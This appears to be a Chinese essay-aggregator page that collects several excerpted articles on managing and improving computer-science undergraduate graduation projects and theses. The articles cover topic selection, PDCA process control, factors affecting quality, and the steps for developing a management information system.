计算机专业的毕业设计选题应按照以下几个原则进行选择。第一,课题的选择应符合专业培养目标,达到毕业设计教学大纲的基本要求。第二,课题的选择应体现教学与生产、科研、文化和经济相结合的原则。第三,课题的选择应贯彻因材施教的原则,使学生在原有的水平和能力方面有较大的提高,并鼓励学生有所创新。第四,选题的范围和深度应符合学生的实际情况,并尽可能多地反映现代科学技术发展水平。第五,学生除了在导师提出的课题中选择毕业设计课题外,也可根据本专业特点选择自己实践中感兴趣的实际问题作为毕业设计课题,但必须经指导教师审定。

2.加强学生思想教育和引导

提高高校毕业设计的质量,根本措施应当是加强学生教育,使学生引起重视。其实多数高校和指导教师对于加强学生思想教育的重要性都深有体会,但具体实施起来总觉得效果不如想象中好,关键是在于“循循善诱”几个字。要经过耐心教导,让学生意识到,毕业设计不仅仅是一个学习任务,也是为了对自己四年学习划上一个圆满的句号,是对个人责任心的一次考验,从而端正了态度,主动性大大提高。在毕业设计之前做一些专门针对毕业设计如何开展的专题讲座。

3.加强过程监控,改革评价体系

计算机系毕业论文篇10

毕业设计(论文)是本科生教学计划中的重要阶段,是对学生综合运用所学知识分析问题和解决问题能力的训练与检验。教师在这个过程中培养学生的学习能力、适应能力、创新能力、实践能力、顽强的意志力、责任心和科学精神;学生在这个过程中,要综合运用所学专业知识,独立地进行探索,独立地解决问题,很好地提升自己各方面的素质,磨练自己的能力。同时,毕业设计(论文)也为学校提供了重要的教育教学资源和教育教学改革的重要信息。因此,毕业设计质量直接影响着毕业生的质量,也影响着就业的质量。为了保证本科毕业设计(论文)质量,我院计算机科学与技术系在工作中总结出一套行之有效的过程管理方法。

1毕业设计(论文)的组织机构及分工

在本科毕业设计(论文)阶段,除了要有指导教师和学生的参与之外,还要成立专门的毕业设计(论文)领导小组和毕业设计(论文)管理小组,每个小组均设组长、副组长、组员、秘书等职。

毕业设计(论文)领导小组一般由系领导班子和主要基层干部组成,负责毕业设计(论文)工作的方向和原则性问题的把握。毕业设计(论文)管理小组成员由各教研室进行安排,在毕业设计(论文)领导小组的领导下,主要负责毕业设计(论文)工作的具体实施和管理。

基于这样的组织机构的安排,制定出毕业设计(论文)流程如图1所示,毕业设计(论文)领导小组、毕业设计(论文)管理小组以及指导教师和学生各司其职、同步协调,明确各个阶段的具体任务,有利于毕业设计(论文)工作的顺利进行。

2毕业设计(论文)的过程控制方法

毕业设计(论文)阶段历时较长,环节也比较多。如果没有一个合理、规范的过程设计,对过程不加控制,是难以保证学生能投入很大精力进行毕业设计工作的,也难以保证毕业设计的质量。因此,在毕业设计(论文)阶段引入PDCA循环使毕业设计(论文)过程逐步完善、逐步优化。

PDCA循环是一种对质量进行持续改进的方法,PDCA的具体描述如下。

P(Plan)策划:对毕业设计(论文)整个工作进行详细的计划。

D(Do)实施计划:按照计划进行毕业设计(论文)的教学工作,并可根据实际完成情况调整计划。

C(Check)检查、监控、评价:一方面是对实施计划的过程进行监控,同时通过检查和评价来获取一些可测量的数据。

A(Action)改进提高:通过对过程监控、检查评价结果的分析,总结成功的经验和失败的教训。并对下一轮的毕业设计(论文)提出改进意见和措施,使得毕业设计的质量得到持续的改进。

毕业设计(论文)过程中的PDCA循环如图2所示。

3毕业设计(论文)的过程框架

在PDCA循环的基础上,提出一些常见的毕业设计(论文)过程中的活动,并建立了一个框架,把整个毕业设计(论文)阶段分为准备、开题、课题研究与实施、撰写论文、评审准备、评审、改进与提高七个过程域,在每个过程域中有着不同的实践,并设有检查点或者里程碑,对各个环节中教师和学生分别有哪些活动,产生哪些文档等进行描述,如表1所示。

这个框架从整体上看,是一个完整的PDCA循环,体现了持续改进的思想。在毕业设计(论文)的实际过程中,可以根据本框架中的实践活动作一些剪裁,剪裁的原则就是易于操作、管理有效、执行力度高。

4结论

在计算机专业本科毕业设计(论文)中引入科学合理的过程控制,在东软信息学院计算机系已经成功地实施多年,实践证明,高效的管理带来了毕业设计(论文)质量的整体提高,也为计算机专业本科人才的培养画上了圆满的句号。

参考文献:

[1] 叶,彭毓. 计算机专业毕业设计环节规范化管理初探[J]. 广东广播电视大学学报,2004,(1).

计算机系毕业论文篇11

毕业论文(设计)是计算机专业学生在大学阶段必修的一门实践性较强的课程。撰写毕业论文(设计)是对学生进行综合专业知识和科研能力训练的重要环节,是大学生对专业知识学习的深化和提高的重要过程。毕业论文(设计)的质量不仅体现学生在校学习专业知识的综合状况,而且反映出学生的学习及其个人综合能力,同时,毕业论文(设计)的质量也是衡量学校教学质量和办学效益的重要评价内容,尤其是计算机专业更是要重视理论和实践相结合,毕业论文(设计)中不仅写出毕业论文,而且毕业论文是在设计出毕业设计的基础上进行论文阐述说明的。

毕业论文(设计)题目中可以是纯理论性的论文也可以具有设计性的论文,如果是设计性的题目不仅要求学生做出设计,同时,还应该有相应的程序代码与论文描述,可以看出计算机专业学生的毕业论文(设计)的质量是一项复杂而综合能力的体现。作为理工科计算机专业的学生有些能够成功做出毕业设计要求的内容,但对于体现文笔功能撰写论文却显得匮乏,所以提高计算机专业学生的毕业论文(设计)的质量是势在必行。

1. 毕业论文(设计)的重要性和必要性

毕业论文(设计)是完成本科教学计划,达到本科生培养目标的重要环节,是教学计划中必需的综合性最强的实践教学环节。毕业论文(设计)是一次全面检验、总结和提高学生在校期间对所学专业知识的掌握程度,也是对大学毕业学生综合能力的一种考核方式。

本科学生在毕业前必须安排毕业论文(设计),首先进行毕业论文(设计)选题,在指导教师的指导下按照学校规定的论文规范格式进行撰写,毕业论文(设计)的科学性及规范性直接反映出高校教学质量的整体水平[1]。

2.毕业论文(设计)撰写现状及常见问题

2.1盲目选题

毕业论文(设计)题目一般是由指导教师按照计算机专业课程设置的理论联系实际,并结合当前社会应用而设计的。学生根据自己的知识特点和偏爱方向按照已给定题目进行选题,选定题目后,联系指导教师进行开题,在开题报告中分析选题的意义,确定论文主要内容、研究方法和思路,列出论文总体安排进度及其相关参考资料等内容。

对于毕业论文(设计)的题目,切忌盲目选题。有两方面的问题,一方面是有些学生选题不慎重,导致对题目分析不够透彻、不够全面。另一方面是指导教师出题有时也有片面性,会导致学生在选题和撰写论文的过程中不能很好的发挥个人综合能力。计算机专业毕业论文(设计)题目涉及软件、硬件及其设计性等多方面的知识。学生可能会选择一些相对容易实现的或论述性较强的题目,而不是考虑到尽可能大的体现个人基本技能及综合素质方面的题目。

2.2对论文投入时间不够

学生在修读完规定的基础和专业课程之后,接着就要安排毕业论文(设计),同时,有些学生面临毕业找工作,有些学生在准备考研、有些学生在准备其他与工作相关的考试,这样,学生撰写论文的时间和精力都不充分,并没有一心一意、全力以赴地专心撰写论文。应该注意,撰写毕业论文(设计)与以往的上课不同,在校上课都是学校安排了课程的学习、考核等固定模式,学生只需听从学习安排即可。而论文的撰写全靠学生的自觉性,自己去查找相关资料,自己控制时间主动联系指导教师,努力完成。有些学生自制力较差,撰写论文时放任时间,自己管不住自己,不能严格按照论文计划进度进行。自我时间控制不好,到最后写论文只能是赶时间进行拼凑,导致论文的质量不高。

2.3不能充分发挥个人综合能力

即使有了适合自己的题目,并且能够保证充足时间进入撰写论文的状态中,但有些学生还是感觉撰写毕业论文、完成毕业设计有种种困难,分析主要原因是基础知识不扎实,平时积累的知识相对匮乏,缺乏创新意识。

毕业论文(设计)是考查学生在校期间对所学知识的掌握程度及个人综合素质能力的体现。本科生在校主要是学习课程大纲要求的知识,而对于写作、科研等其他方面的要求很少,主要依靠学生自我的爱好和个人发展,尤其是针对计算机专业的学生平时一直强调理论与实践相结合并注重动手和创新能力的提高,而往往忽视了文字组织等能力培养[2]。有些学生能够根据论文题目将论文(设计)做出来,但因文字、语言组织等方面的欠缺,而导致论文质量下降。

3.提高毕业论文(设计)质量的对策

如何提高毕业论文(设计)的质量是当前教师在指导学生论文时必须考虑的问题,也是学生在撰写毕业论文(设计)时所困惑的问题。所以要提高毕业论文(设计)的质量应该指导教师和学生双方同时努力的结果,并且要教师和学生经过一个长期学习、积累的过程,而不是一蹴而就的事情。

3.1严格毕业论文(设计)的题目

毕业论文(设计)题目应该严格结合学生课程设置,结合教学内容,结合教学发展,理论联系实际,能够反映出学生在校期间学习的综合素质及其解决问题的能力。一般高校都是由专业教师根据学生知识结构的情况和当前社会实际发展的需求来出题,这就要求教师不断提高自己的专业知识水平和个人综合素质能力。学生选择毕业论文题目时应结合自己专业知识与自己的偏好或自己的发展前景。有了适宜的毕业论文题目,首先仔细分析题目,建立协作思路,搜索相关参考资料,并结合当前社会实际发展的需求有目的的进行撰写。

3.2全心全意投入时间撰写论文

选定适合自己的题目后,应能够保证充足时间进入撰写论文的状态中,撰写论文的这段时间,主要由学生自己支配,时间跨度大、活动地点变化大,毕业论文(设计)需要调研,到图书馆查阅文献,需要到实验室调试程序等,每个环节都不能松懈,应该严格按照最初列出的论文进度计划进行撰写[3]。

撰写论文的一个关键部分是联系指导教师进行论文的监督和指导。论文的撰写思路要及时与指导教师沟通,尤其是在论文开题,初稿,中期等几个重要的阶段应及时联系指导教师,并按照毕业论文(设计)的规范格式进行撰写。

3.3合理应用综合能力

大学生在平时的学习中应明确目标,努力锻炼、提高自己的综合素质能力。同时,教师在授课的过程中也尽可能地理论联系实际,并结合当前社会应用及前沿知识,开阔学生的知识面。计算机专业的毕业论文(设计)一般更侧重于设计,有些学生动手能力强,容易实现设计部分,但是还应将完成的设计对应到撰写论文中,这时,有些学生就显得束手无策了,这种情况就需要学生在平时的学习中提高自己的文学组织及写作能力。当然,指导教师可以给学生提醒撰写学术论文的思路、方法及其技巧,应强调完成论文后进行最后论文答辩注意事项及其技巧[4]。

4.结语

毕业论文(设计)是大学本科生毕业前要完成的最后一项学习内容,撰写毕业论文(设计)是对学生综合运用所学知识解决本专业实际问题能力的一种考核方式,是体现学生和教师等多方面的综合性问题。以上从计算机专业学生撰写毕业论文(设计)的现状及常见问题分析,得出选择题目、全心全意投入时间、合理应用综合能力这三方面是提高毕业论文(设计)质量的最佳对策。为了提高毕业论文(设计)质量,在学生撰写毕业论文(设计)之前还应进行必要指导教育,使学生重视并充分认识到撰写毕业论文(设计)的重要性及其意义。学校或师生之间制定相应的规章制度对学生和指导教师进行过程监控,也是提高毕业论文(设计)质量的保障。总之,撰写毕业论文(设计)是一项综合而复杂的学习任务,不仅反映学生个人综合能力,而且反映出学校及教师的综合教学情况。为了提高毕业论文(设计)的质量,需要学生和教师日积月累地学习和不断地进取。

参考文献:

[1] 谢雅.计算机专业毕业设计指导方法探讨与实践[J].长沙航空职业技术学院学报.2010年第10卷第1期.

[2] 黄继蓉 陈光喜. 提高学分制下计算机专业的毕业设计(论文) 质量的思考和策略[J].高教论坛.2007年第2期.

[3] 王玉锋 刘保旨等.计算机专业本科毕业设计的探讨[J].计算机教育.2010年第1期.

计算机系毕业论文篇12

毕业设计(论文)是本科教学工作中不可或缺的重要实践环节,教育部发出的相关文件特别是《普通高等学校本科教学工作水平评估方案》的中对毕业设计(论文)的要求更强调了当前做好毕业设计(论文)工作的重要性与紧迫性。然而,如何在当前就业形势比较严峻的形势下优质高效地开展毕业设计(论文)是一个需要认真研究和实践的课题。

二、毕业设计(论文)质量影响因素调查

评价一份毕业设计(论文)的质量应该是全方位的。毕业设计(论文)不同于科研总结或论文,也不可能全部等同于真正的工程设计。毕业设计的基本教学目的是培养学生综合运用所学的基础理论、专业知识和基本技能,提高分析与解决工程实际问题的能力和初步科学研究的能力。主要包括:

调查研究、中外文献检索与阅读的能力,综合运用基础和专业理论知识分析解决实际问题的能力,定性、定量相结合的独立研究与论证的能力,试验方案的制定、仪器设备的选用、安装、调试及实验数据的测试、采集与分析处理的能力,设计、计算与绘图的能力,包括使用计算机的能力,逻辑思维与形象思维相结合的文字及口头表达的能力,撰写设计说明书、论文及英语书面表达的能力等。考察毕业设计(论文)的质量应特别关注选题质量和最终成果两个方面。

影响毕业设计(论文)质量的因素是多方面的。笔者在问卷调查、座谈等基础进行统计和分析,得出了五项认同度在90%以上的影响毕业设计(论文)质量的主要因素,如图1所示。

三、关键因素分析

1.学生的知识结构及其投入

毕业设计(论文)的质量首先取决于学生自身的综合素质,因为如前所述,它要求学生综合运用所学的理论知识和技术知识,相对独立地解决科学研究、工程设计问题,并取得设计成果,这是一个创新思维和创新能力形成的过程,是对其独立工作能力的锻炼的过程。要提高毕业设计(论文)质量、培养学生的创新能力,仅靠毕业设计(论文)这一环节显然是不够的,它离不开前三年多的基础理论及专业知识的学习,离不开实习、实验、课程设计等各种实践教学环节的训练。学生完成毕业设计(论文)一般需经历选题、查阅文献资料、开题、科学实验、撰写论文、答辩等环节,每个环节都需要学生投入大量的时间和精力。教育部要求的工作量是学生每天工作6-8小时,共计要用15周以上,这是相当必要的。

2.指导教师的知识结构及其投入

指导教师的知识结构及其投入是制约毕业论文质量的重要因素。毕业设计(论文)涉及知识面宽,具有很强的综合性和实践性,这就要求指导教师不仅应具有系统、扎实的理论知识,同时要有较丰富的实践知识和经验。只有指导教师的整体素质高,业务水平高,实践能力强的教师担任指导教师,才能保证毕业论文的教学质量。另外,指导教师的世界观、人生观和人品才学对学生具有重要的影响力。在指导工作中,教师的人格感染力具有不可替代的作用。对于指导教师的指导时间,我校也作了相应的规定。规定指导教师每周的指导时间不能低于8小时,效果显著。

3.毕业设计(论文)质量监控体系的构建和落实情况

实践证明,科学、完善、有效的监控体系,对毕业设计的整个过程进行监控。毕业设计(论文)领导小组和督导工作的组织,对毕业设计的实施过程进行严格、科学并且到位的管理,是提高毕业设计(论文)整体质量的重要保证。其主要职责是建立健全毕业设计(论文)管理的规章制度,对毕业论文(设计)的各环节进行管理。在毕业论文(设计)的目的与要求、毕业论文(设计)的过程管理、毕业论文(设计)的经费管理、毕业论文(设计)的答辩与成绩评定、毕业论文(设计)的归档、优秀毕业论文(设计)的评选等方面对毕业论文设计的各个环节逐步实现规范化,以保障毕业设计(论文)的质量。

4.毕业设计(论文)所必需的硬件条件和经费保证

教学条件和教学环境是学生开展毕业设计(论文)工作的基础保障,也是学校提高毕业设计质量的基础。学生在进行资料查阅、调查研究、科学计算、分析、绘图和仿真等与课题相关的工作时,必须有计算机、网络、图书以及实验实习的设备和场所。特别对于工科工程专业的学生,为了保证他们参加毕业实习、科学实验、工程实践和社会实践,我们必须提供教学实验室和校内外教学实习基地。同时,学生查阅资料、科学研究、实验、毕业实习、文章打印等都需要一定的经费支持。

5.毕业设计实习、调研质量

毕业设计(论文)相关的实习、调研能够帮助学生加深对所做课题的理解,对学生的毕业设计的过程的很好的启示。因此,毕业实习、调研质量的高低也直接影响到毕业设计(论文)质量的质量。

四、系部(学院)做好毕业设计(论文)工作的对策

影响毕业设计(论文)质量的因素是多方面的,但其主要因素学校(特别是院系管理者)是可以掌控的,只要树立科学质量观,坚持“以人为本”,注重师生的主体作用,保证“人、财、物、时”等投入到位,就能做好本科毕业设计(论文)工作。

1.抓关键,落实质量监控体系

做好系部(学院)本科毕业设计(论文)工作,我们的经验是抓关键,这个关键就是:以提高质量为目标,以规范为抓手,综合应用系统论、控制论和全面质量管理等理论构建和落实质量监控体系。

把毕业设计(论文)及其管理工作看作是一个控制系统,分析它的信息流程、反机制和控制原理,能够寻找到使其达到最佳状态的方法。从信息的角度上看,整个控制过程就是一个信息流通的过程,控制就是通过信息的传输、变换、加工、处理来实现的。反馈是控制论的核心问题。反馈对系统的控制和稳定起着决定性的作用,系统自动地保持自身的动态平稳或功能稳定,都是通过反馈机制实现的。因此在实施毕业设计(论文)质量监控时一定必须做到信息不失真地传递和反馈,信息贯彻渠道和反馈通道都必须畅通无阻,必要时还应该加入认为的反馈通道。具体做法是:领导和有关人员深入到师生之中,宣传学校和系部的规定要求及其意义,了解他们的所思所想,倾听他们的意见和建议,对师生反映的问题及时解决。这样不仅能保证和提高质量,还能提高大家的积极性,领导和管理人员也取信于民,树立威望。会议、座谈和问卷调查等都是保证信息畅通的途径。代表质量管理发展的最新阶段全面质量管理同样可以为我们借鉴。它是以组织全员参与为基础的质量管理形式,“三全―多样”(全过程、全员性、全面性或称全企业、多方法)是其核心思想和基本要求。

毕业设计工作是一个时间长、质量影响因素较多的复杂教学过程,任何一个环节的质量问题都会影响到毕业设计的整体质量。所以,对毕业设计的质量监控必须是过程中的过程监控,而不能是目标控制。这正是全面质量管理的全程性。院系必须建立一套完整的质量监控与保障体系,并在整个过程从选题开始到论文答辩、材料归档等各个环节进行质量监控,同时要在每个控制环节中及时发现问题和解决问题。

一个系的毕业设计(论文)工作涉及教师、学生、实验实习条件及管理等多个方而,可以说包括全系的所有机构、全体教职员工和该届毕业生,这正是全面质量管理中所述的全面性和全员性。为保证和提高毕业设计质量,应该明确并强调本部门每个机构、每个成员(包括学生)对毕业设计 (论文)工作中的功能和职责,各尽其能、各负其责。

2.树立科学质量观,充分体现“以人为本”的原则

对于各院(系),“以人为本”就是要以本部门的师生为本,关心每一个师生的全面发展。师生既是毕业设计质量监控的对象,又是监控的主体,在制定制度时既要满足质量需要,又要考虑师生容易执行;执行制定时既要严格,又要富有人性化。坚持“以人为本”,对于指导教师来说,就是坚持以学生为本,关心自己所指导的每一个学生,关注学生在设计或论文每一个阶段的表现和成果,及时帮助他们解决毕业设计(论文)中的困难,帮助学生正确解决考研、就业与毕业设计的冲突。同时用渊博的知识指导学生完成任务,用高尚的品质和优良的学风、教风和作风去感染学生、教育学生。学生的主体地位,就是在思想上确立学生是完成毕业设计(论文)的主体,在行动上创新机制、发挥学生主观能动性。对于指导教师,应该实行奖罚制。对于责任心强、成果显著的指导教师应予以表彰和奖励,这样可大大提高指导教师的积极性。

3.加强指导教师队伍建设

建设一支理实结合、结构合理、素质较高的指导教师队伍也是保证毕业设计(论文)质量的前提条件。为提高指导教师队伍素质,首先要积极引导教师参加实践性教学环节的锻炼,如深入生产一线、社会实践和实习指导、工程项目设计、试作毕业设计(论文)等,在实践中总结和积累经验,为指导毕业设汁(论文)奠定良好的基础;其次要建立激励机制,加强教师尤其是青年教师科研能力培养,鼓励指导教师积极参与科研活动,提高科研水平,不断增强毕业设计(论文)的指导能力;同时要加强教师之间的交流与合作,促进指导教师知识面拓宽和知识更新步伐,增强因材施教能力和综合指导能力。另外要强化教师职业道德和人格修养,在指导学生毕业设计(论文)的实践中引导学生形成正确的人生观、价值观、科学观。这些措施的实施,就能不断优化毕业设计(论文)指导教师队伍,促进老中青结合、知识结构合理、实践能力较强、业务素质较高的教师群体的形成。

4.充分利用现有条件,提高工作效率

“人、财、物、时”投入到位是各院系整个毕业设计(论文)工作的中心,是提高工作效率和质量的保证。其中,人,就是指导教师和学生;财,就是为毕业设计(论文)工作所必需的经费;物,包括计算机、网络、打印机、教室、实验实习场所等必须的硬件保障;时,既包括学生和指导教师投入到毕业设计(论文)的时间,还包括院系相关管理人员、质量监控人员所必需的时间。

网络、计算机、多媒体等一系列先进工具运用于教学,加快了教育现代化的进程,极大地提高了教学工作的效率和质量。学生的毕业设计(论文)离不开这些工具,老师的指导也会因为有了它们而变得快捷、方便。同样,在其质量管理也应该充分利用这些方法和手段来提高效率和质量。如网上选题、网上毕业设计(论文)动员和规章制度制度宣传,计算机成绩管理,计算机材料管理,等等。

五、结束语

本文分析了本科毕业设计(论文)的质量组成及影响毕业设计(论文)质量的五个主要因素,在调查分析的基础上提出了系部提高本科毕业设计(论文)质量的相应的对策。

参考文献:

[1]教育部.普通高等学校本科教学工作水平评估方案[Z].2004.

[2]廖志凌.高校本科毕业设计中存在的问题及对策[J].江苏大学学报(高教研究版),2004,(26):82-85.

[3]程友联.本科大学生毕业设计存在的问题及若干对策的建议[J].华中农业大学学报,2005,(10):154-157.

[4]曾健平,尹新,胡锦.毕业设计(论文)质量评价体系研究与实践[J].电气电子教学学报,2006,(02):112-114.

[5]唐杜英等.提高本科毕业设计(论文)质量的实践[J].安徽工业大学学报(社会科学版),2004, (27):92-93.

计算机系毕业论文篇13

二、管理信息系统开发的主要步骤

管理信息系统开发的主要步骤及各步骤的基本内容如下:

1、 系统分析

主要工作内容有以下几项:

确定系统目标

系统可行性分析

2、 系统调查

系统的组织结构、职能结构和业务流程分析。其中系统的组织结构图应画成树状结构。

系统业务流程分析、业务流程图

3、 数据流程分析

数据流程图(系统关联图、顶层图、一层数据流图、二层数据流图)

数据词典

代码设计

4、 管理信息系统的功能设计

系统的功能结构图,每个功能模块的主要工作内容、输入输出要求等。

系统控制结构图

5、 数据库设计

概念模型设计:实体、实体间的联系、e-r图

关系模式设计:e—r图->关系模式的转换规则

关系模式

数据库表设计:数据库表结构

6、 系统物理配置方案

7、 人机界面设计

8、 模块处理概述

9、 系统测试和调试:测试计划、测试用例、测试结果

三、开发工具和注意事项

1、开发工具

开发工具可由学生任选。如delphi、foxpro、vb、access等,这些工具的使用全由学生自学。

2、注意事项

(1)项目开发步骤的完整性(系统需求分析、概念设计、物理设计、系统环境和配置、系统实施以及系统测试和调试等)

(2)每个开发步骤所得结果的正确性(业务流程图、数据流程图、数据词典、hipo图、e-r图、关系模式、人机界面设计及模块处理等的详细分析和说明)

......

目录:

一、本科学生毕业论文的目的和内容

二、管理信息系统开发的主要步骤

在线咨询